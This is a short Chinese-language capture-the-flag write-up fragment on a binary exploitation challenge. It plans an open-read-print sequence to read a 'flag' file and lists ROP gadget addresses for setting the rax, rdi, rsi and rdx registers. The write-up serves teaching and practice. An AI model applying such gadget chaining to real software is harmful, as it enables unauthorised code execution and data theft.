这段代码中while有一个无法退出的循环,不能通过ROP获取flag,只能在代码中执行open函数。
我们希望构造这样的代码来拿到flag:
int fd = open("flag", READONLY);
read(fd, buf, 100);
print(buf);
在程序中寻找可以利用的修改rax、rdi、rsi、rdx的语句(64位程序通过寄存器传参,rax用于系统调用):
具体能利用的地方在:
0x4008a1 : pop rsi ; pop r15 ; ret
0x4008a3 : pop rdi ; ret
0x4006fe : pop rdx ; ret
0x4006fc : pop rax ; ret
0x4008ae : add byte ptr [rax], al ; ret